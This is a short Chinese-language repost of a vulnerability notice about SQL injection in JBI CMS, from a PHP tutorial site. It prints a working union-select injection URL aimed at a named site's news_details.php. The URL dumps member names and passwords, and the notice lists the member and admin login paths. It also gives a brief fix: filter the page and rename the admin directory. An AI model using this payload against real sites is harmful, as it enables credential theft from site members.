来源：自学PHP网 时间：2015-04-17 15:08 作者： 阅读:次
[导读] JBI CMS 程序过滤不严导致SQL注入攻击。Exploit :http://www.chinasg.tk/news_details.php?id=-1+union+select+1,2,3,group_concat(name,0x3a,password),5,6,7+from+tbl_membersLogin page for members : /member.phpLogin page...
|
JBI CMS 程序过滤不严导致SQL注入攻击。 Exploit : Login page for members : /member.php Login page for Admins : /admin www.2cto.com提供修复方案： 过滤news_details.php页面，修改后台目录 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
